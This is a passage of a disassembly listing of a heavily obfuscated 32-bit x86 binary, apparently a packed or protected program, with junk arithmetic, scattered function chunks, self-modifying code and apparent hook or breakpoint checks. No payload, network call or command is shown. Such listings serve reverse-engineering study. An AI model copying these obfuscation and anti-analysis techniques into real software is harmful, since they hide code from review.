0000000B BYTES ; FUNCTION CHUNK AT 0043A1D3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043CAF8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043D180 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043F1F9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043F4B0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440A61 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004413D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441660 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442E44 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 004432B1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00444360 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447FAA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044870A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044A42D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AA58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AC43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B5E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C90C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044E019 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx xchg esi, [esp-4+arg_0] mov edx, esi pop esi jno loc_43D180 jmp loc_441660 sub_437B43 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_437B58: ; CODE XREF: y22d6.y.:loc_441C72j ; y22d6.y.:00448CADj push 89BCFEFEh pop eax xor eax, 1848D675h push offset loc_447292 jmp loc_439191 ; --------------------------------------------------------------------------- loc_437B6E: ; CODE XREF: y22d6.y.:0043E129j jb loc_444DF9 loc_437B74: ; CODE XREF: y22d6.y.:004387B9j xor edi, 0EEF991AAh sub eax, edi pop edi rol eax, 12h jmp loc_444081 ; --------------------------------------------------------------------------- loc_437B85: ; CODE XREF: y22d6.y.:loc_44595Ej add ecx, 0D81D107Bh or ecx, 0FF98399Eh add ecx, 673DB8h xchg ecx, [esp] jmp sub_4480DE ; --------------------------------------------------------------------------- loc_437B9F: ; CODE XREF: y22d6.y.:00437C2Bj lea eax, nullsub_14 mov byte ptr [eax], 0C3h jmp nullsub_14 ; =============== S U B R O U T I N E ======================================= sub_437BAD proc near ; DATA XREF: .data:off_425E88o call nullsub_19 jmp ds:dword_41E16C sub_437BAD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_437BB8: ; CODE XREF: sub_44B674-679Bj jmp loc_441BC7 ; END OF FUNCTION CHUNK FOR sub_44B674 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] dw 0F089h dd 0E90000FCh, 257Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EA2 loc_437BC8: ; CODE XREF: sub_443EA2-64AFj push eax call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_443EA2 ; --------------------------------------------------------------------------- loc_437BCF: ; CODE XREF: y22d6.y.:0044D82Ej jmp loc_44B60D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_437BD4: ; CODE XREF: sub_448EB6-7F26j jmp loc_448D87 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_437BDA: ; CODE XREF: sub_44807C-E654j jmp loc_437CD1 ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_437BDF: ; CODE XREF: sub_43D20E-2689j mov eax, [ebp-0Ch] mov [ebp-1Ch], eax jmp loc_43BA3F ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- loc_437BEA: ; CODE XREF: y22d6.y.:loc_44A64Aj add eax, 35B72421h push ecx push 8682643Ch pop ecx add ecx, 57D0DA19h or ecx, 0CF66042Bh add ecx, 20CC3B2Fh xchg ecx, [esp] jmp loc_442B5B ; --------------------------------------------------------------------------- loc_437C11: ; CODE XREF: y22d6.y.:0044C63Ej mov ebx, edx xchg ebx, [esp] call sub_44ABC9 mov eax, 3C248B30h call sub_43CA1A mov ds:dword_41E168, eax jmp loc_437B9F ; --------------------------------------------------------------------------- loc_437C30: ; DATA XREF: sub_44B267-CF2o xchg ebx, [esp] ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_437C33: ; CODE XREF: sub_448EB6:loc_43F83Fj jmp loc_449A42 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B196 loc_437C38: ; CODE XREF: sub_44B196-395Aj jz loc_43A3A1 mov eax, [ebp-4] cmp byte ptr [eax], 0CFh jz loc_43A39A mov eax, [ebp-4] ; END OF FUNCTION CHUNK FOR sub_44B196 ; START OF FUNCTION CHUNK FOR sub_444D95 loc_437C4D: ; CODE XREF: sub_444D95+2A94j cmp byte ptr [eax], 0E9h jmp loc_43A109 ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- rol ecx, 1Dh jmp sub_43F35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_437C5D: ; CODE XREF: sub_43C712:loc_440F3Aj jnz loc_442697 jmp loc_44382C ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- push 0EF2C6355h pop eax or eax, 844264A4h rol eax, 0Dh jb loc_4458FD or edi, ebp jmp loc_449B3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F8FE loc_437C84: ; CODE XREF: sub_43F8FE+1j mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-4], eax mov eax, [ebp-4] jmp loc_44BE7A ; END OF FUNCTION CHUNK FOR sub_43F8FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_437C94: ; CODE XREF: sub_439F5A:loc_439F70j adc edx, [esp+4] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 mov edx, [ebp-18h] add edx, 725C6D0Dh add edx, 8DA3930Fh mov edx, [edx] jmp loc_43769F ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AF5B loc_437CB7: ; CODE XREF: sub_43AF5B+8034j jo loc_447FDB loc_437CBD: ; CODE XREF: sub_43AF5B:loc_44397Cj or edi, 0C55A9292h add edi, 30C5439Dh loc_437CC9: ; CODE XREF: y22d6.y.:00441A03j mov [edi], eax pop edi jmp loc_43B21F ; END OF FUNCTION CHUNK FOR sub_43AF5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_437CD1: ; CODE XREF: sub_44807C:loc_437BDAj add eax, 8A1EF206h add eax, ebp add eax, 38B18D62h mov eax, [eax] popf mov al, [eax] js loc_4457E2 jmp loc_43E33E ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- sub eax, ebp jmp sub_43BDFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_437CF6: ; CODE XREF: sub_44B1D2-103A1j jnp loc_43BCB4 xchg ecx, [edx] ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; START OF FUNCTION CHUNK FOR sub_43C694 loc_437CFE: ; CODE XREF: sub_43C694-5539j ; sub_43C694:loc_43949Bj ... push offset loc_44E10D jmp nullsub_103 ; END OF FUNCTION CHUNK FOR sub_43C694 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_437D08: ; CODE XREF: sub_44BCC2+1AACj jl loc_445F2D loc_437D0E: ; CODE XREF: y22d6.y.:0043FB97j jmp loc_43BADE ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- test edi, esi jmp loc_44A6A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444541 loc_437D1A: ; CODE XREF: sub_444541:loc_4407F0j push 4F2C89C0h pop eax and eax, ds:4000E1h xor eax, 9572902Fh jmp loc_44767E ; END OF FUNCTION CHUNK FOR sub_444541 ; --------------------------------------------------------------------------- loc_437D31: ; CODE XREF: y22d6.y.:0043D1CAj jnz loc_4422D0 jmp loc_444647 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_437D3D: ; CODE XREF: sub_43A58D:loc_44BF62j push offset loc_43FC77 jmp loc_43C532 ; END OF FUNCTION CHUNK FOR sub_43A58D ; =============== S U B R O U T I N E ======================================= sub_437D47 proc near ; DATA XREF: sub_448EB6+2F2Fo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00445ECB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00449ECA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B2A4 SIZE 00000005 BYTES push 0CF20DC19h pop esi rol esi, 4 add esi, 0E360B64h popf jmp loc_449ECA sub_437D47 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_437D5C: ; CODE XREF: y22d6.y.:0043E656j push eax mov edx, eax push eax push 17AC29AEh pop eax sub eax, 0BFAA1D55h add eax, 0A8426D35h push offset loc_43ADE8 jmp loc_43875A ; --------------------------------------------------------------------------- shr ebx, 10h jmp loc_4388E0 ; --------------------------------------------------------------------------- shr eax, 0Ah jmp sub_44E3D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44469C loc_437D8C: ; CODE XREF: sub_44469C+Dj mov eax, 276E7523h push ebx push 0E3E9B2ECh pop ebx loc_437D98: ; CODE XREF: y22d6.y.:0044389Aj sub ebx, 0EA904784h jmp loc_437AD1 ; END OF FUNCTION CHUNK FOR sub_44469C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_342. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_437DA4: ; CODE XREF: sub_4450FD+2369j sub eax, [ebp-28h] mov [ebp-24h], eax mov eax, [ebp-24h] call sub_4380AC loc_437DB2: ; CODE XREF: sub_440494+8A05j jmp loc_446E58 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- locret_437DB7: ; CODE XREF: y22d6.y.:loc_4447BAj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C980 loc_437DB8: ; CODE XREF: sub_44C980-13E25j jmp loc_441518 ; END OF FUNCTION CHUNK FOR sub_44C980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_437DBD: ; CODE XREF: sub_439051:loc_44582Dj ; sub_439051+C7E8j xor esi, 0FAF49CA5h xor eax, esi pop esi ror eax, 11h sub eax, 7B29549h push edx jmp loc_447B30 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_437DD5: ; CODE XREF: sub_44A359:loc_44CC7Bj or eax, 598BC604h xor eax, 0B8D27173h add eax, ebp add eax, 3AF67945h loc_437DE9: ; CODE XREF: y22d6.y.:loc_440F29j mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_43F152 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- push ecx push 5DF211B3h push offset sub_44529A jmp loc_4398B9 ; --------------------------------------------------------------------------- loc_437E03: ; CODE XREF: y22d6.y.:00441BF9j sub esi, ebp cmp ebp, edi jmp loc_439A43 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_437E0D: ; CODE XREF: sub_441F08-1B41j pop edi sub eax, 3F881AB1h add eax, 0EEAE2B1h xchg eax, [esp-4+arg_0] jmp sub_44CDB7 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- mov eax, 0A4C05BA6h call sub_43CA1A jmp loc_44D7CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_437E31: ; CODE XREF: sub_441A2B:loc_44D75Dj mov byte ptr [eax], 0C3h jmp loc_440320 ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- push edx mov edx, ebx xchg edx, [esp] push 2FED9CC0h jmp loc_44C44E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_437E49: ; CODE XREF: sub_442C0C-6552j mov esi, ebp pop ebp mov eax, [ebp+var_4] mov al, [eax] jmp loc_43907F ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- loc_437E56: ; CODE XREF: y22d6.y.:0043A36Cj jle loc_443AB8 cdq loc_437E5D: ; CODE XREF: y22d6.y.:loc_43A35Fj and eax, 15F60CD4h add eax, 0FA1FF49Dh call loc_44339F jmp loc_443394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E38B loc_437E73: ; CODE XREF: sub_44E38B:loc_44E39Ej sub eax, 680CF48Ah cmp eax, 829CC774h jmp loc_43ABAE ; END OF FUNCTION CHUNK FOR sub_44E38B ; --------------------------------------------------------------------------- loc_437E84: ; CODE XREF: y22d6.y.:0043D38Bj jl loc_440CC0 cmp eax, ecx jmp loc_439DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_437E91: ; CODE XREF: sub_4428C2:loc_441A8Fj call sub_441DC7 ; END OF FUNCTION CHUNK FOR sub_4428C2 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_437E96: ; CODE XREF: sub_4432B8-98D8j jmp loc_44DA7A ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- pushf jmp loc_43EE26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_437EA1: ; CODE XREF: sub_4432B8+A5B7j sbb edi, 1D2A828h pop edi loc_437EA8: ; CODE XREF: sub_4432B8:loc_4417F1j call sub_4418C5 push ecx test eax, edi jmp loc_44DCEA ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_437EB5: ; CODE XREF: y22d6.y.:00445AA7j sub eax, 7822DBE9h xor eax, 0C544642Bh mov ds:dword_439048, eax ; START OF FUNCTION CHUNK FOR sub_44271A loc_437EC7: ; CODE XREF: sub_44271A+54AFj ; sub_44271A+7366j xor eax, 0C544642Bh sub eax, 87DD2417h push offset loc_43AADF jmp loc_43CA5D ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_437EDD: ; CODE XREF: sub_43EC01+9556j xchg eax, [esp+0] call sub_44B267 mov eax, 0D372DA5Dh call sub_43CA1A push edx push 8D815EB3h pop edx jmp loc_444BB0 ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_437EFB: ; CODE XREF: sub_44AEDA+Cj pop esi and esi, 44F62352h sub esi, 0E2E9AC49h or esi, 0CB98A5EBh cmp esi, 94C73598h jmp loc_43A4D6 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_437F19: ; CODE XREF: sub_4432B8-60AFj js loc_4398D8 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_437F1F proc near ; CODE XREF: sub_438F42+13938p arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg ebx, [esp-4+arg_0] jmp sub_442C0C sub_437F1F endp ; sp-analysis failed ; --------------------------------------------------------------------------- push offset loc_43F5C7 jmp locret_44215C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ED31 loc_437F35: ; CODE XREF: sub_43ED31-3713j call sub_44BCC2 push ebx push offset sub_44AA69 jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_43ED31 ; --------------------------------------------------------------------------- loc_437F45: ; DATA XREF: sub_442AFF+3o xchg eax, [esp] mov ebp, esp push ecx mov [ebp-4], eax push 0EA147BAAh pop eax rol eax, 0Eh jmp loc_441A26 ; --------------------------------------------------------------------------- loc_437F5C: ; CODE XREF: y22d6.y.:0044C6EFj pop ebx rol ebx, 13h and ebx, 0B23F9CAh add ebx, 2A20CB4Fh and ebx, 3D34758Bh add ebx, 0D423C63Bh xchg ebx, [esp] jmp sub_44CDB7 ; --------------------------------------------------------------------------- loc_437F80: ; CODE XREF: y22d6.y.:0044AC4Cj jo loc_43AFF5 and eax, 885758DEh jmp loc_4441F7 ; --------------------------------------------------------------------------- loc_437F91: ; DATA XREF: sub_443778-2FACo mov eax, [esp] push edx call sub_43887A push 0FF022E51h xchg ecx, [esp] mov eax, ecx shl ecx, 10h jmp loc_43E537 ; --------------------------------------------------------------------------- loc_437FAC: ; CODE XREF: y22d6.y.:loc_448651j ; DATA XREF: sub_4389FD:loc_448647o add eax, 0A330E9DAh add eax, ebp push edi push 49D09350h pop edi jmp loc_43FB80 ; --------------------------------------------------------------------------- loc_437FC0: ; CODE XREF: y22d6.y.:0043EAB6j jnp loc_444894 ja nullsub_331 jmp loc_44071C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_437FD1: ; CODE XREF: sub_43B7B5+BCA0j test eax, edi jmp loc_447D34 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; =============== S U B R O U T I N E ======================================= sub_437FD8 proc near ; DATA XREF: sub_44A46F-D167o ; FUNCTION CHUNK AT 00438B28 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043A2EB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043AB65 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043C2EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E0C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E30E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043FEFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441949 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442395 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00447274 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0044DA1E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044DDFC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E1FC SIZE 00000005 BYTES xchg ebx, [esp+0] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jns loc_43C2EA jmp loc_43E0C4 sub_437FD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_437FEE: ; CODE XREF: sub_44BCC2-646Bj jz loc_43EA44 jmp loc_444E09 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_437FF9: ; CODE XREF: sub_4431CD-43FAj add ecx, 77F2B64Ah xchg ecx, [esp+0] jmp loc_437618 ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A1BC loc_438007: ; CODE XREF: sub_43A1BC+Aj call sub_44485F or eax, eax push offset loc_4392FA jmp loc_43B0CA ; END OF FUNCTION CHUNK FOR sub_43A1BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_438018: ; CODE XREF: sub_441F08:loc_43F000j pop eax and eax, 32BDCBBCh jns loc_44AF5B ja sub_444865 jmp loc_44AF46 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- locret_438030: ; CODE XREF: y22d6.y.:loc_43875Aj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44371A loc_438031: ; CODE XREF: sub_44371A-5FA8j jmp loc_442586 ; END OF FUNCTION CHUNK FOR sub_44371A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43734D loc_438036: ; CODE XREF: sub_43734D+6120j jmp nullsub_42 ; END OF FUNCTION CHUNK FOR sub_43734D ; --------------------------------------------------------------------------- loc_43803B: ; CODE XREF: y22d6.y.:0043869Bj jmp loc_438D41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_438040: ; CODE XREF: sub_440280+75F7j xor eax, 0AC9D8E6h add eax, ebp add eax, 0A8DD454h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_43FBCC jmp loc_4488EC ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- loc_43805E: ; CODE XREF: y22d6.y.:00447F91j add esi, 0EB20CC41h mov [esi], eax pop esi retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_438068: ; CODE XREF: sub_43B09B+15j jmp loc_443F10 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43806D: ; CODE XREF: sub_4432B8+2DAj ; y22d6.y.:004477DBj push offset sub_44B65D jmp loc_43F08C ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_438077 proc near ; DATA XREF: y22d6.y.:004394E9o ; FUNCTION CHUNK AT 0043CA6D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043EAAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440076 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DBF7 SIZE 00000006 BYTES push esi push 5A064110h pop esi rol esi, 1Bh cmp esi, 0A032305h jmp loc_43EAAF sub_438077 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43808C: ; CODE XREF: sub_4432B8:loc_443D6Bj mov byte ptr [eax], 0C3h jmp loc_43F4FC ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BC16 loc_438094: ; CODE XREF: sub_43BC16j pop edx mov eax, [esp-4+arg_0] push offset loc_4430D1 jmp loc_44D41C ; END OF FUNCTION CHUNK FOR sub_43BC16 ; --------------------------------------------------------------------------- loc_4380A2: ; CODE XREF: y22d6.y.:0043E93Dj push offset sub_449F1B jmp loc_440FA8 ; =============== S U B R O U T I N E ======================================= sub_4380AC proc near ; CODE XREF: sub_4450FD-D350p ; y22d6.y.:00448D38j xchg ecx, [esp+0] pop ecx mov esp, ebp pop ebp retn sub_4380AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4441D9 loc_4380B4: ; CODE XREF: sub_4441D9+7F3Dj jmp loc_43F091 ; END OF FUNCTION CHUNK FOR sub_4441D9 ; --------------------------------------------------------------------------- loc_4380B9: ; CODE XREF: y22d6.y.:004497FAj jmp loc_43BCB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_4380BE: ; CODE XREF: sub_4416CB+7C27j jmp loc_44B8D4 ; END OF FUNCTION CHUNK FOR sub_4416CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_4380C3: ; CODE XREF: sub_439F5A+9987j jmp loc_43AA9E ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4380C8: ; CODE XREF: sub_4432B8-A593j jmp loc_44162F ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_4380CD proc near ; CODE XREF: sub_4450FD:loc_44745Ap ; sub_44B0E5+Ap ; FUNCTION CHUNK AT 0043DE95 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448587 SIZE 0000000A BYTES push ebp jmp loc_43DE95 sub_4380CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_4380D3: ; CODE XREF: sub_44DB81:loc_4456D5j ; sub_44DB81+365j mov eax, [esp+0] call sub_4396B2 loc_4380DB: ; CODE XREF: sub_44DB81-6116j ; sub_44DB81+4CFj xchg eax, [esp+0] mov edx, eax call sub_44D088 jmp loc_4450D7 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- cmp esi, 89D265E8h jmp loc_439A72 ; --------------------------------------------------------------------------- loc_4380F5: ; CODE XREF: y22d6.y.:loc_440F74j call sub_44A9DF or eax, eax jnz loc_438B14 jmp loc_442379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_438107: ; CODE XREF: sub_448EB6+3FBAj xor ecx, 59DF8590h cmp ecx, 0A66CC5BAh jmp loc_44933E ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442856 loc_438118: ; CODE XREF: sub_442856:loc_44182Aj jz loc_440F58 jmp loc_44280A ; END OF FUNCTION CHUNK FOR sub_442856 ; --------------------------------------------------------------------------- loc_438123: ; CODE XREF: y22d6.y.:00441FDEj or eax, eax jnz loc_448EAC jmp loc_44D720 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_438130: ; CODE XREF: sub_44BBBA:loc_44B966j jnz loc_44941D jmp loc_438D9F ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- pop ebp jmp loc_43DD72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_438141: ; CODE XREF: sub_449641:loc_4415F1j xor edi, 25C6CCCEh or edi, 0C28B325Bh and edi, 470DE5F8h add edi, 0BD39FDDBh xchg edi, [esp+0] jmp loc_443EEC ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BA9E loc_438161: ; CODE XREF: sub_43BA9E+11E9Fj jnz loc_4452DD jmp loc_4482B8 ; END OF FUNCTION CHUNK FOR sub_43BA9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_43816C: ; CODE XREF: sub_439051-446j ror eax, 1Ch jz loc_440BBF push esi push 0BBDFE455h xchg ebp, [esp+0] mov esi, ebp pop ebp or esi, 3DF85826h jmp loc_4415EB ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43818C: ; CODE XREF: sub_4432B8:loc_448878j jmp ds:dword_41E148 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_331. PRESS KEYPAD "+" TO EXPAND] db 85h dd 56E1h, 24048B5Ah, 0E9F28B56h, 12105h, 783FCF81h, 0F5E9F163h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_4381AF: ; CODE XREF: sub_4481EF:loc_43F7C9j call sub_44CDB7 mov eax, 0FFB060E7h push ebx push 9DF32D3Ch pop ebx jmp loc_44755F ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441000 loc_4381C5: ; CODE XREF: sub_441000+Bj pop ecx or ecx, 0CB6D2998h rol ecx, 1 cmp ecx, 0E3253181h jmp loc_43EE54 ; END OF FUNCTION CHUNK FOR sub_441000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44313A loc_4381D9: ; CODE XREF: sub_44313A-100Cj add edi, 0F6A01FF2h mov [edi], eax pop edi lea eax, loc_4437A8 mov byte ptr [eax], 0C3h jmp loc_4437A8 ; --------------------------------------------------------------------------- loc_4381F0: ; CODE XREF: sub_44313A:loc_4437A8j pop edx jmp loc_44B20C ; END OF FUNCTION CHUNK FOR sub_44313A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B01 loc_4381F6: ; CODE XREF: sub_437B01:loc_4488F1j jnz loc_43D697 jmp loc_43BD72 ; END OF FUNCTION CHUNK FOR sub_437B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D025 loc_438201: ; CODE XREF: sub_43D025:loc_43C15Aj mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] mov [edx-8], eax jmp loc_43A882 ; --------------------------------------------------------------------------- loc_438215: ; CODE XREF: sub_43D025+B29Cj call sub_43B98D loc_43821A: ; CODE XREF: y22d6.y.:004405B2j popf jmp loc_449F01 ; END OF FUNCTION CHUNK FOR sub_43D025 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_438220: ; CODE XREF: sub_44BBBA:loc_44B9E8j xchg edx, [esp+0] mov eax, edx pop edx rol eax, 4 cmp eax, 389333C6h jmp loc_43B58A ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- or ecx, 0A8DD3059h jmp sub_4436DB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD64 loc_438240: 